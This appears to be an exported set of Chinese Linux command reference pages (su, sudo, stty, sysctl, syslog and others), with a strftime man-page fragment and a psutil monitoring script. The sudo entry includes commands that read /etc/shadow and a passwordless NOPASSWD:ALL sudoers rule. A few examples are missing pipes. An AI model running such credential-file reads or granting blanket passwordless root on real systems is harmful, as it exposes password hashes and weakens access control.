The hour (24-hour clock) as a decimal number (range 0 to 23); single digits are preceded by a blank. (See also %H.) (TZ)

%l

The hour (12-hour clock) as a decimal number (range 1 to 12); single digits are preceded by a blank. (See also %I.) (TZ)

%m

The month as a decimal number (range 01 to 12).

%M

The minute as a decimal number (range 00 to 59).

%n

A newline character. (SU)

%O

Modifier: use alternative format, see below. (SU)

%p

Either "AM" or "PM" according to the given time value, or the corresponding strings for the current locale. Noon is treated as "PM" and midnight as "AM".

%P

Like %p but in lowercase: "am" or "pm" or a corresponding string for the current locale. (GNU)

%r

The time in a.m. or p.m. notation. In the POSIX locale this is equivalent to %I:%M:%S %p. (SU)

%R

The time in 24-hour notation (%H:%M). (SU) For a version including the seconds, see %T below.

%s

The number of seconds since the Epoch, 1970-01-01 00:00:00 +0000 (UTC). (TZ)

%S

The second as a decimal number (range 00 to 60). (The range is up to 60 to allow for occasional leap seconds.)

%t

A tab character. (SU)

%T

The time in 24-hour notation (%H:%M:%S). (SU)

%u

The day of the week as a decimal, range 1 to 7, Monday being 1. See also %w. (SU)

%U

The week number of the current year as a decimal number, range 00 to 53, starting with the first Sunday as the first day of week 01. See also %V and %W.

%V

The ISO 8601 week number (see NOTES) of the current year as a decimal number, range 01 to 53, where week 1 is the first week that has at least 4 days in the new year. See also %U and %W. (SU)

%w

The day of the week as a decimal, range 0 to 6, Sunday being 0. See also %u.

%W

The week number of the current year as a decimal number, range 00 to 53, starting with the first Monday as the first day of week 01.

%x

The preferred date representation for the current locale without the time.

%X

The preferred time representation for the current locale without the date.

%y

The year as a decimal number without a century (range 00 to 99).

%Y

The year as a decimal number including the century.

%z

The +hhmm or -hhmm numeric timezone (that is, the hour and minute offset from UTC). (SU)

%Z

The timezone or name or abbreviation.

%+

The date and time in date(1) format. (TZ) (Not supported in glibc2.)

%%

A literal '%' character.

Some conversion specifications can be modified by preceding the conversion specifier character by the E or O modifier to indicate that an alternative format should be used. If the alternative format or specification does not exist for the current locale, the behavior will be as if the unmodified conversion specification were used. (SU) The Single UNIX Specification mentions %Ec, %EC, %Ex, %EX, %Ey, %EY, %Od, %Oe, %OH, %OI, %Om, %OM, %OS, %Ou, %OU, %OV, %Ow, %OW, %Oy, where the effect of the O modifier is to use alternative numeric symbols (say, roman numerals), and that of the E modifier is to use a locale-dependent alternative representation.
The broken-down time structure tm is defined in <time.h>. See also ctime(3).

Return Value
The strftime() function returns the number of bytes placed in the array s, not including the terminating null byte, provided the string, including the terminating null byte, fits. Otherwise, it returns 0, and the contents of the array is undefined. (This behavior applies since at least libc 4.4.4; very old versions of libc, such as libc 4.4.1, would return max if the array was too small.)

Note that the return value 0 does not necessarily indicate an error; for example, in many locales %p yields an empty string.

Environment
The environment variables TZ and LC_TIME are used.
</pre>
!!简介
:<div>
strings
===

在对象文件或二进制文件中查找可打印的字符串

</div>

!! 补充说明

:<div>


"strings命令" 在对象文件或二进制文件中查找可打印的字符串。字符串是4个或更多可打印字符的任意序列,以换行符或空字符结束。 strings命令对识别随机对象文件很有用。

</div>

!! 语法  

:<div>


```
strings [ -a ] [ - ] [ -o ] [ -t Format ] [ -n Number ] [ -Number ]  [file ... ]
```

</div>

!! 选项  

:<div>


```
-a --all:扫描整个文件而不是只扫描目标文件初始化和装载段
-f –print-file-name:在显示字符串前先显示文件名
-n –bytes=[number]:找到并且输出所有NUL终止符序列
- :设置显示的最少的字符数,默认是4个字符
-t --radix={o,d,x} :输出字符的位置,基于八进制,十进制或者十六进制
-o :类似--radix=o
-T --target= :指定二进制文件格式
-e --encoding={s,S,b,l,B,L} :选择字符大小和排列顺序:s = 7-bit, S = 8-bit, {b,l} = 16-bit, {B,L} = 32-bit
@ :读取中选项
```

</div>

!! 实例  

:<div>


列出ls中所有的ASCII文本:

```
strings /bin/ls
```

列出ls中所有的ASCII文本:

```
cat /bin/ls strings
```

查找ls中包含libc的字符串,不区分大小写:

```
strings /bin/ls | grep -i libc
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
stty
===

修改终端命令行的相关设置

</div>

!! 补充说明

:<div>


"stty命令" 修改终端命令行的相关设置。

</div>

!! 语法  

:<div>


```
stty(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:以容易阅读的方式打印当前的所有配置;
-g:以stty可读方式打印当前的所有配置。
```

</div>

!! 参数  

:<div>


终端设置:指定终端命令行的设置选项。

</div>

!! 实例  

:<div>


 "在命令行下,禁止输出大写的方法:" 

```
stty iuclc     #开启
stty -iuclc    #恢复
```

 "在命令行下禁止输出小写:" 

```
stty olcuc    #开启
stty -olcuc   #恢复
```

 "打印出终端的行数和列数:" 

```
stty size
```

 "改变Ctrl+D的方法:" 

```
stty eof "string"
```

系统默认是Ctrl+D来表示文件的结束,而通过这种方法,可以改变!

 "屏蔽显示:" 

```
stty -echo   #禁止回显
stty echo    #打开回显
```

测试方法:

```
stty -echo;read;stty echo;read
```

 "忽略回车符:" 

```
stty igncr     #开启
stty -igncr    #恢复
```

 "定时输入:" 

```
timeout_read()
{
    timeout=$1
    old_stty_settings=`stty -g`  #save current settings
    stty -icanon min 0 time 100  #set 10seconds,not 100seconds
    eval read varname            #=read $varname
    stty "$old_stty_settings"    #recover settings
}
```

更简单的方法就是利用read命令的`-t`选项:

```
read -t 10 varname
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!! 描述
:<div>
用于切换当前用户身份到其他用户身份

</div>

!! 说明

:<div>


"su命令" 用于切换当前用户身份到其他用户身份,变更时须输入所要变更的用户帐号与密码。

</div>

!! 语法  

:<div>


```
su(选项)(参数)
```

</div>

!! 选项  

:<div>


```bash
-c<指令>
--command=<指令> #执行完指定的指令后,即恢复原来的身份;

-f 
--fast          #适用于csh与tsch,使shell不用去读取启动文件;

-l 
--login         #改变身份时,也同时变更工作目录,以及HOME,SHELL,USER,logname。
                #此外,也会变更PATH变量;
-m,-p
--preserve-environment 
                #变更身份时,不要变更环境变量;
-s<shell>
--shell=<shell>
                #指定要执行的shell;
--help
                #显示帮助;
--version
                #显示版本信息。
```

</div>

!! 参数  

:<div>
用户:指定要切换身份的目标用户。

</div>

!! 实例  

:<div>


变更帐号为root并在执行ls指令后退出变回原使用者:

```
su -c ls root
```

变更帐号为root并传入`-f`选项给新执行的shell:

```
su root -f
```

变更帐号为test并改变工作目录至test的家目录:

```
su -test
```
</div>


---
* `su [options...] [-] [user [args...]]`
    ** 切换用户的方式:
        *** `su   UserName `:非登录式切换
        *** `su - UserName` :登录式切换
    ** root su 至其他用户无须密码;非root 用户切换时需要密码
    ** 换个身份执行命令:
        *** `su [-] UserName -c 'COMMAND'`
    ** 选项:-l --login
        ***`su -l UserName`  相当于  `su - UserName`
!!简介
:<div>
sudo
===

以其他身份来执行命令

</div>

!! 补充说明

:<div>


"sudo命令" 用来以其他身份来执行命令,预设的身份为root。在`/etc/sudoers`中设置了可执行sudo指令的用户。若其未经授权的用户企图使用sudo,则会发出警告的邮件给管理员。用户使用sudo时,必须先输入密码,之后有5分钟的有效期限,超过期限则必须重新输入密码。

</div>

!! 语法  

:<div>


```
sudo(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b:在后台执行指令;
-h:显示帮助;
-H:将HOME环境变量设为新身份的HOME环境变量;
-k:结束密码的有效期限,也就是下次再执行sudo时便需要输入密码;。
-l:列出目前用户可执行与无法执行的指令;
-p:改变询问密码的提示符号;
-s<shell>:执行指定的shell;
-u<用户>:以指定的用户作为新的身份。若不加上此参数,则预设以root作为新的身份;
-v:延长密码有效期限5分钟;
-V :显示版本信息。
```

</div>

!! 参数  

:<div>


指令:需要运行的指令和对应的参数。

</div>

!! 实例  

:<div>


```
$ sudo su -
# env | grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)'
```

这个命令相当于使用root超级用户重新登录一次shell,只不过密码是使用的当前用户的密码。而且重要是,该命令会 "重新加载/etc/profile文件以及/etc/bashrc文件等系统配置文件,并且还会重新加载root用户的$SHELL环境变量所对应的配置文件" ,比如:root超级用户的$SHELL是/bin/bash,则会加载/root/.bashrc等配置。如果是/bin/zsh,则会加载/root/.zshrc等配置,执行后是完全的root环境。

```
$ sudo -i
# env | grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)'
```

这个命令基本与 `sudo su -` 相同,执行后也是root超级用户的环境,只不过是多了一些当前用户的信息。

```
$ sudo -s
# env|grep -E '(HOME|SHELL|USER|LOGNAME|^PATH|PWD|TEST_ETC|TEST_ZSH|TEST_PRO|TEST_BASH|TEST_HOME|SUDO)'  --color
```

这个命令相当于 "以当前用户的$SHELL开启了一个root超级用户的no-login的shell,不会加载/etc/profile等系统配置" 。所以/etc/profile文件中定义的TEST_ETC环境变量就看不到了,但是会"加载root用户对应的配置文件",比如root用户的$SHELL是/bin/zsh,那么会加载/root/.zshrc配置文件,执行完后,不会切换当前用户的目录。

配置sudo必须通过编辑`/etc/sudoers`文件,而且只有超级用户才可以修改它,还必须使用visudo编辑。之所以使用visudo有两个原因,一是它能够防止两个用户同时修改它;二是它也能进行有限的语法检查。所以,即使只有你一个超级用户,你也最好用visudo来检查一下语法。

visudo默认的是在vi里打开配置文件,用vi来修改文件。我们可以在编译时修改这个默认项。visudo不会擅自保存带有语法错误的配置文件,它会提示你出现的问题,并询问该如何处理,就像:

```
>>> sudoers file: syntax error, line 22 <<
```

此时我们有三种选择:键入“e”是重新编辑,键入“x”是不保存退出,键入“Q”是退出并保存。如果真选择Q,那么sudo将不会再运行,直到错误被纠正。

现在,我们一起来看一下神秘的配置文件,学一下如何编写它。让我们从一个简单的例子开始:让用户Foobar可以通过sudo执行所有root可执行的命令。以root身份用visudo打开配置文件,可以看到类似下面几行:

```
# Runas alias specification
# User privilege specificationroot    ALL=(ALL)ALL
```

我们一看就明白个差不多了,root有所有权限,只要仿照现有root的例子就行,我们在下面加一行(最好用tab作为空白):

```
foobar ALL=(ALL)    ALL
```

保存退出后,切换到foobar用户,我们用它的身份执行命令:

```
[foobar@localhost ~]$ ls /root
ls: /root: 权限不够

[foobar@localhost ~]$ sudo ls /root
PassWord:
anaconda-ks.cfg Desktop install.log install.log.syslog
```

好了,我们限制一下foobar的权利,不让他为所欲为。比如我们只想让他像root那样使用ls和ifconfig,把那一行改为:

```
foobar localhost=    /sbin/ifconfig,   /bin/ls
```

再来执行命令:

```
[foobar@localhost ~]$ sudo head -5 /etc/shadow
Password:
Sorry, user foobar is not allowed to execute '/usr/bin/head -5 /etc/shadow' as root on localhost.localdomain.

[foobar@localhost ~]$ sudo /sbin/ifconfigeth0      Linkencap:Ethernet HWaddr 00:14:85:EC:E9:9B...
```

现在让我们来看一下那三个ALL到底是什么意思。第一个ALL是指网络中的主机,我们后面把它改成了主机名,它指明foobar可以在此主机上执行后面的命令。第二个括号里的ALL是指目标用户,也就是以谁的身份去执行命令。最后一个ALL当然就是指命令名了。例如,我们想让foobar用户在linux主机上以jimmy或rene的身份执行kill命令,这样编写配置文件:

```
foobar    linux=(jimmy,rene)    /bin/kill
```

但这还有个问题,foobar到底以jimmy还是rene的身份执行?这时我们应该想到了`sudo -u`了,它正是用在这种时候。 foobar可以使用`sudo -u jimmy kill PID`或者`sudo -u rene kill PID`,但这样挺麻烦,其实我们可以不必每次加`-u`,把rene或jimmy设为默认的目标用户即可。再在上面加一行:

```
Defaults:foobar    runas_default=rene
```

Defaults后面如果有冒号,是对后面用户的默认,如果没有,则是对所有用户的默认。就像配置文件中自带的一行:

```
Defaults    env_reset
```

另一个问题是,很多时候,我们本来就登录了,每次使用sudo还要输入密码就显得烦琐了。我们可不可以不再输入密码呢?当然可以,我们这样修改配置文件:

```
foobar localhost=NOPASSWD:     /bin/cat, /bin/ls
```

再来sudo一下:

```
[foobar@localhost ~]$ sudo ls /rootanaconda-ks.cfg Desktop install.log
install.log.syslog
```

当然,你也可以说“某些命令用户foobar不可以运行”,通过使用!操作符,但这不是一个好主意。因为,用!操作符来从ALL中“剔出”一些命令一般是没什么效果的,一个用户完全可以把那个命令拷贝到别的地方,换一个名字后再来运行。

 "日志与安全" 

sudo为安全考虑得很周到,不仅可以记录日志,还能在有必要时向系统管理员报告。但是,sudo的日志功能不是自动的,必须由管理员开启。这样来做:

```
touch /var/log/sudo
vi /etc/syslog.conf
```

在syslog.conf最后面加一行(必须用tab分割开)并保存:

```
local2.debug                    /var/log/sudo
```

重启日志守候进程,

```
ps aux grep syslogd
```

把得到的syslogd进程的PID(输出的第二列是PID)填入下面:

```
kill –HUP PID
```

这样,sudo就可以写日志了:

```
[foobar@localhost ~]$ sudo ls /rootanaconda-ks.cfg
Desktop install.log
install.log.syslog
$cat /var/log/sudoJul 28 22:52:54 localhost sudo:   foobar :
TTY=pts/1 ; pwd=/home/foobar ; USER=root ; command=/bin/ls /root
```

不过,有一个小小的“缺陷”,sudo记录日志并不是很忠实:

```
[foobar@localhost ~]$ sudo cat /etc/shadow > /dev/null
cat /var/log/sudo...Jul 28 23:10:24 localhost sudo:   foobar : TTY=pts/1 ;
PWD=/home/foobar ; USER=root ; COMMAND=/bin/cat /etc/shadow
```

重定向没有被记录在案!为什么?因为在命令运行之前,shell把重定向的工作做完了,sudo根本就没看到重定向。这也有个好处,下面的手段不会得逞:

```
[foobar@localhost ~]$ sudo ls /root > /etc/shadowbash: /etc/shadow: 权限不够
```

sudo 有自己的方式来保护安全。以root的身份执行`sudo-V`,查看一下sudo的设置。因为考虑到安全问题,一部分环境变量并没有传递给sudo后面的命令,或者被检查后再传递的,比如:PATH,HOME,SHELL等。当然,你也可以通过sudoers来配置这些环境变量。




</div>



!!示例

:<pre>

```bash
# all
foobar ALL=(ALL)    ALL

# command
foobar localhost=    /sbin/ifconfig,/bin/ls

# host&user
foobar    server01=(user1,user2)    /bin/kill
sudo -u user1 kill PID

#默认用户
Defaults:foobar    runas_default=user1

#for all user
Defaults    runas_default=user1

#password
foobar localhost=NOPASSWD:     /bin/cat, /bin/ls
foobar ALL=(ALL:ALL) NOPASSWD:ALL
```
</pre>
* /var/log/sudo

:<pre>

```bash
touch /var/log/sudo
vi /etc/syslog.conf
# 追加一行
local2.debug                    /var/log/sudo
#重启日志守护进程
ps aux | grep syslog| grep -v grep|tr -s ' '| cut -d ' ' -f 2| kill -HUP
```
</pre>
* 环境变量

:<pre>

```bash
#因为考虑到安全问题,一部分环境变量并没有传递给sudo后面的命令
#查看环境变量
root# sudo -V

#使用loginshell环境执行命令
sudo -i cmd
```
</pre>
!!简介
:<div>
sum
===

计算文件的校验码和显示块数

</div>

!! 补充说明

:<div>


"sum命令" 用于计算并显示指定文件的校验和与文件所占用的磁盘块数。

</div>

!! 语法  

:<div>


```
sum(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-r:使用BSD的校验和算法,块大小为1k;
-s:使用system V的校验和算法,块大小为512字节。
```

</div>

!! 参数  

:<div>


文件列表:需要计算和与磁盘块数的文件列表。

</div>

!! 实例  

:<div>


计算文件校验码:

```
[root@localhost ~]# sum insert.sql
00827    12
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
<div class="cmd">

<<toc-selective-expandable 'cmd'>>

</div>


```
<<timeline limit:30 subfilter:"tag[cmd]" format:"DD/MM/YYYY">>
```



> 部分条目来自 `https://jaywcjlove.github.io/linux-command/`
 <<list-links "[tag[FHS]]-[tag[desc]]">>
<<list-links "[tag[homework]sort[title]]">>
 <<list-links "[tag[mw-note]sort[title]]">>
<$macrocall
	$name="toc-tabbed-internal-nav"
	tag="resource"
	selectedTiddler="$:/temp/toc/selectedTiddler"
	unselectedText="<p>在目录中选择一个主题。 点击箭头展开主题。</p>"
	missingText="<p>失踪的条目。</p>"
/>
<$macrocall
	$name="toc-tabbed-internal-nav"
	tag="shell"
	selectedTiddler="$:/temp/toc/selectedTiddler"
	unselectedText="<p>在目录中选择一个主题。 点击箭头展开主题。</p>"
	missingText="<p>失踪的条目。</p>"
/>
!!简介
:<div>
supervisord
===

配置后台服务/常驻进程的进程管家工具

</div>

!! 安装

:<div>


```bash
# 安装 supervisord
apt-get install supervisor
```

</div>

!! 实例

:<div>


生成配置文件 `/etc/supervisord.conf`

```bash
[program:app]
command=/usr/bin/gunicorn -w 1 wsgiapp:application
directory=/srv/www
user=www-data
```

supervisord: 启动 supervisor 服务

```bash
supervisorctl start app
supervisorctl stop app
supervisorctl reload # 修改/添加配置文件需要执行这个
```

</div>

!! 下载地址

:<div>


https://pypi.python.org/pypi/meld3  
https://pypi.python.org/pypi/supervisor  
</div>
!!简介
:<div>
swapoff
===

关闭指定的交换空间

</div>

!! 补充说明

:<div>


"swapoff命令" 用于关闭指定的交换空间(包括交换文件和交换分区)。swapoff实际上为swapon的符号连接,可用来关闭系统的交换区。

</div>

!! 语法  

:<div>


```
swapoff(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:关闭配置文件“/etc/fstab”中所有的交换空间。
```

</div>

!! 参数  

:<div>


交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件。

</div>

!! 实例  

:<div>


关闭交换分区

```
swapoff /dev/sda2
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
swapon
===

激活Linux系统中交换空间

</div>

!! 补充说明

:<div>


"swapon命令" 用于激活Linux系统中交换空间,Linux系统的内存管理必须使用交换区来建立虚拟内存。

</div>

!! 语法  

:<div>


```
swapon(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:将/etc/fstab文件中所有设置为swap的设备,启动为交换区;
-h:显示帮助;
-p<优先顺序>:指定交换区的优先顺序;
-s:显示交换区的使用状况;
-V:显示版本信息。
```

</div>

!! 参数  

:<div>


交换空间:指定需要激活的交换空间,可以是交换文件和交换分区,如果是交换分区则指定交换分区对应的设备文件。

</div>

!! 实例  

:<div>


```
mkswap -c /dev/hdb4 (-c是检查有无坏块)
swapon -v /dev/hdb4
swapon -s
Filename                                type            Size    Used    Priority
/dev/hda5                               partition       506008 96      -1
/dev/hdb4                               partition       489972 0       -2
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
<div class="switch">

    <<toc-selective-expandable 'switch'>>

</div>
!!简介
:<div>
sync
===

用于强制被改变的内容立刻写入磁盘

</div>

!! 补充说明

:<div>


"sync命令" 用于强制被改变的内容立刻写入磁盘,更新超块信息。

在Linux/Unix系统中,在文件或数据处理过程中一般先放到内存缓冲区中,等到适当的时候再写入磁盘,以提高系统的运行效率。sync命令则可用来强制将内存缓冲区中的数据立即写入磁盘中。用户通常不需执行sync命令,系统会自动执行update或bdflush操作,将缓冲区的数据写 入磁盘。只有在update或bdflush无法执行或用户需要非正常关机时,才需手动执行sync命令。

</div>

!! 语法  

:<div>


```
sync(选项)
```

</div>

!! 选项  

:<div>


```
--help:显示帮助;
 --version:显示版本信息。
```

</div>

!! buffer与cache  

:<div>


*   buffer:为了解决写磁盘的效率
*   cache:为了解决读磁盘的效率

linux系统为了提高读写磁盘的效率,会先将数据放在一块buffer中。在写磁盘时并不是立即将数据写到磁盘中,而是先写入这块buffer中了。此时如果重启系统,就可能造成数据丢失。

sync命令用来flush文件系统buffer,这样数据才会真正的写到磁盘中,并且buffer才能够释放出来,flush就是用来清空buffer。sync命令会强制将数据写入磁盘中,并释放该数据对应的buffer,所以常常会在写磁盘后输入sync命令来将数据真正的写入磁盘。

如果不去手动的输入sync命令来真正的去写磁盘,linux系统也会周期性的去sync数据。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
sysctl
===

时动态地修改内核的运行参数

</div>

!! 补充说明

:<div>


"sysctl命令" 被用于在内核运行时动态地修改内核的运行参数,可用的内核参数在目录`/proc/sys`中。它包含一些TCP/ip堆栈和虚拟内存系统的高级选项, 这可以让有经验的管理员提高引人注目的系统性能。用sysctl可以读取设置超过五百个系统变量。

</div>

!! 语法  

:<div>


```
sysctl(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-n:打印值时不打印关键字;
-e:忽略未知关键字错误;
-N:仅打印名称;
-w:当改变sysctl设置时使用此项;
-p:从配置文件“/etc/sysctl.conf”加载内核参数设置;
-a:打印当前所有可用的内核参数变量和值;
-A:以表格方式打印当前所有可用的内核参数变量和值。
```

</div>

!! 参数  

:<div>


变量=值:设置内核参数对应的变量值。

</div>

!! 实例  

:<div>


查看所有可读变量:

sysctl -a

读一个指定的变量,例如`kern.maxproc`:

sysctl kern.maxproc kern.maxproc: 1044

要设置一个指定的变量,直接用`variable=value`这样的语法:

```
sysctl kern.maxfiles=5000
kern.maxfiles: 2088 -> 5000
```

您可以使用sysctl修改系统变量,也可以通过编辑sysctl.conf文件来修改系统变量。sysctl.conf看起来很像rc.conf。它用`variable=value`的形式来设定值。指定的值在系统进入多用户模式之后被设定。并不是所有的变量都可以在这个模式下设定。

sysctl变量的设置通常是字符串、数字或者布尔型。(布尔型用 1 来表示'yes',用 0 来表示'no')。

```
sysctl -w kernel.sysrq=0
sysctl -w kernel.core_uses_pid=1
sysctl -w net.ipv4.conf.default.accept_redirects=0
sysctl -w net.ipv4.conf.default.accept_source_route=0
sysctl -w net.ipv4.conf.default.rp_filter=1
sysctl -w net.ipv4.tcp_syncookies=1
sysctl -w net.ipv4.tcp_max_syn_backlog=2048
sysctl -w net.ipv4.tcp_fin_timeout=30
sysctl -w net.ipv4.tcp_synack_retries=2
sysctl -w net.ipv4.tcp_keepalive_time=3600
sysctl -w net.ipv4.tcp_window_scaling=1
sysctl -w net.ipv4.tcp_sack=1
```

</div>

!! 配置sysctl  

:<div>


编辑此文件:`/etc/sysctl.conf`

如果该文件为空,则输入以下内容,否则请根据情况自己做调整:

```
# Controls source route verification
# Default should work for all interfaces
net.ipv4.conf.default.rp_filter = 1
# net.ipv4.conf.all.rp_filter = 1
# net.ipv4.conf.lo.rp_filter = 1
# net.ipv4.conf.eth0.rp_filter = 1

# Disables IP source routing
# Default should work for all interfaces
net.ipv4.conf.default.accept_source_route = 0
# net.ipv4.conf.all.accept_source_route = 0
# net.ipv4.conf.lo.accept_source_route = 0
# net.ipv4.conf.eth0.accept_source_route = 0

# Controls the System Request debugging functionality of the kernel
kernel.sysrq = 0

# Controls whether core dumps will append the PID to the core filename.
# Useful for debugging multi-threaded applications.
kernel.core_uses_pid = 1

# Increase maximum amount of memory allocated to shm
# Only uncomment if needed!
# kernel.shmmax = 67108864

# Disable ICMP Redirect Acceptance
# Default should work for all interfaces
net.ipv4.conf.default.accept_redirects = 0
# net.ipv4.conf.all.accept_redirects = 0
# net.ipv4.conf.lo.accept_redirects = 0
# net.ipv4.conf.eth0.accept_redirects = 0

# enable Log Spoofed Packets, Source Routed Packets, Redirect Packets
# Default should work for all interfaces
net.ipv4.conf.default.log_martians = 1
# net.ipv4.conf.all.log_martians = 1
# net.ipv4.conf.lo.log_martians = 1
# net.ipv4.conf.eth0.log_martians = 1

# Decrease the time default value for tcp_fin_timeout connection
net.ipv4.tcp_fin_timeout = 25

# Decrease the time default value for tcp_keepalive_time connection
net.ipv4.tcp_keepalive_time = 1200

# Turn on the tcp_window_scaling
net.ipv4.tcp_window_scaling = 1

# Turn on the tcp_sack
net.ipv4.tcp_sack = 1

# tcp_fack should be on because of sack
net.ipv4.tcp_fack = 1

# Turn on the tcp_timestamps
net.ipv4.tcp_timestamps = 1

# Enable TCP SYN Cookie Protection
net.ipv4.tcp_syncookies = 1

# Enable ignoring broadcasts request
net.ipv4.icmp_echo_ignore_broadcasts = 1

# Enable bad error message Protection
net.ipv4.icmp_ignore_bogus_error_responses = 1

# make more local ports available
# net.ipv4.ip_local_port_range = 1024 65000

# set TCP Re-Ordering value in kernel to ‘5′
net.ipv4.tcp_reordering = 5

# Lower syn retry rates
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syn_retries = 3

# Set Max SYN Backlog to ‘2048′
net.ipv4.tcp_max_syn_backlog = 2048

# Various Settings
net.core.netdev_max_backlog = 1024

# Increase the maximum number of skb-heads to be cached
net.core.hot_list_length = 256

# Increase the tcp-time-wait buckets pool size
net.ipv4.tcp_max_tw_buckets = 360000

# This will increase the amount of memory available for socket input/output queues
net.core.rmem_default = 65535
net.core.rmem_max = 8388608
net.ipv4.tcp_rmem = 4096 87380 8388608
net.core.wmem_default = 65535
net.core.wmem_max = 8388608
net.ipv4.tcp_wmem = 4096 65535 8388608
net.ipv4.tcp_mem = 8388608 8388608 8388608
net.core.optmem_max = 40960
```

如果希望屏蔽别人 ping 你的主机,则加入以下代码:

```
# Disable ping requests
net.ipv4.icmp_echo_ignore_all = 1
```

编辑完成后,请执行以下命令使变动立即生效:

```
/sbin/sysctl -p
/sbin/sysctl -w net.ipv4.route.flush=1
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```python
#通过Python的psutil模块,获取当前系统的各种信息(比如内存,cpu,磁盘,登录用户等),并将信息进行备份
# coding=utf-8
  
# 获取系统基本信息
import sys
import psutil
import time
import os
  
#获取当前时间
time_str =  time.strftime( "%Y-%m-%d", time.localtime( ) )
file_name = "./" + time_str + ".log"
  
if os.path.exists ( file_name ) == False :
   os.mknod( file_name )
   handle = open ( file_name , "w" )
else :
   handle = open ( file_name , "a" )
  
  
#获取命令行参数的个数
if len( sys.argv ) == 1 :
   print_type = 1
else :
   print_type = 2
  
def isset ( list_arr , name ) :
    if name in list_arr :
       return True
    else :
       return False
  
print_str = "";
  
#获取系统内存使用情况
if ( print_type == 1 ) or isset( sys.argv,"mem" )  :
 memory_convent = 1024 * 1024
 mem = psutil.virtual_memory()
 print_str +=  " 内存状态如下:\n"
 print_str = print_str + "   系统的内存容量为: "+str( mem.total/( memory_convent ) ) + " MB\n"
 print_str = print_str + "   系统的内存以使用容量为: "+str( mem.used/( memory_convent ) ) + " MB\n"
 print_str = print_str + "   系统可用的内存容量为: "+str( mem.total/( memory_convent ) - mem.used/( 1024*1024 )) + "MB\n"
 print_str = print_str + "   内存的buffer容量为: "+str( mem.buffers/( memory_convent ) ) + " MB\n"
 print_str = print_str + "   内存的cache容量为:" +str( mem.cached/( memory_convent ) ) + " MB\n"
  
  
#获取cpu的相关信息
if ( print_type == 1 ) or isset( sys.argv,"cpu" ) :
 print_str += " CPU状态如下:\n"
 cpu_status = psutil.cpu_times()
 print_str = print_str + "   user = " + str( cpu_status.user ) + "\n"
 print_str = print_str + "   nice = " + str( cpu_status.nice ) + "\n"
 print_str = print_str + "   system = " + str( cpu_status.system ) + "\n"
 print_str = print_str + "   idle = " + str ( cpu_status.idle ) + "\n"
 print_str = print_str + "   iowait = " + str ( cpu_status.iowait ) + "\n"
 print_str = print_str + "   irq = " + str( cpu_status.irq ) + "\n"
 print_str = print_str + "   softirq = " + str ( cpu_status.softirq ) + "\n"
 print_str = print_str + "   steal = " + str ( cpu_status.steal ) + "\n"
 print_str = print_str + "   guest = " + str ( cpu_status.guest ) + "\n"
  
  
#查看硬盘基本信息
if ( print_type == 1 ) or isset ( sys.argv,"disk" ) :
 print_str +=  " 硬盘信息如下:\n"
 disk_status = psutil.disk_partitions()
 for item in disk_status :
     print_str = print_str + "   "+ str( item ) + "\n"
  
#查看当前登录的用户信息
if ( print_type == 1 ) or isset ( sys.argv,"user" ) :
 print_str +=  " 登录用户信息如下:\n "
 user_status = psutil.users()
 for item in  user_status :
     print_str = print_str + "   "+ str( item ) + "\n"
  
print_str += "---------------------------------------------------------------\n"
print ( print_str )
handle.write( print_str )
handle.close()
```
!!简介
:<div>
syslog
===

系统默认的日志守护进程

</div>

!! 补充说明

:<div>


"syslog" 是Linux系统默认的日志守护进程。默认的syslog配置文件是/etc/syslog.conf文件。程序,守护进程和内核提供了访问系统的日志信息。因此,任何希望生成日志信息的程序都可以向 syslog 接口呼叫生成该信息。

几乎所有的网络设备都可以通过syslog协议,将日志信息以用户数据报协议(UDP)方式传送到远端服务器,远端接收日志服务器必须通过syslogd监听UDP 端口514,并根据 syslog.conf配置文件中的配置处理本机,接收访问系统的日志信息,把指定的事件写入特定文件中,供后台数据库管理和响应之用。意味着可以让任何事件都登录到一台或多台服务器上,以备后台数据库用off-line(离线) 方法分析远端设备的事件。

通常,syslog 接受来自系统的各种功能的信息,每个信息都包括重要级。/etc/syslog.conf 文件通知 syslogd 如何根据设备和信息重要级别来报告信息。

</div>

!! 使用方法  

:<div>


在/var/log中创建并写入日志信息是由syslog协议处理的,是由守护进程sylogd负责执行。每个标准的进程都可以用syslog记录日志。可以使用logger命令通过syslogd记录日志。

要向syslog文件/var/log/messages中记录日志信息:

```
logger this is a test log line

输出:
tail -n 1 messages
Jan  5 10:07:03 localhost root: this is a test log line

```

如果要记录特定的标记(tag)可以使用:

```
logger -t TAG this is a test log line

输出:
tail -n 1 messages
Jan  5 10:37:14 localhost TAG: this is a test log line
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
systemctl
===

系统服务管理器指令

</div>

!! 补充说明

:<div>


"systemctl命令" 是系统服务管理器指令,它实际上将 service 和 chkconfig 这两个命令组合到一起。

| 任务 | 旧指令 | 新指令 |
| ---- | ---- | ---- |
| 使某服务自动启动 | chkconfig --level 3 httpd on | systemctl enable httpd.service |
| 使某服务不自动启动 | chkconfig --level 3 httpd off | systemctl disable httpd.service |
| 检查服务状态 | service httpd status | systemctl status httpd.service (服务详细信息) systemctl is-active httpd.service (仅显示是否 Active) |
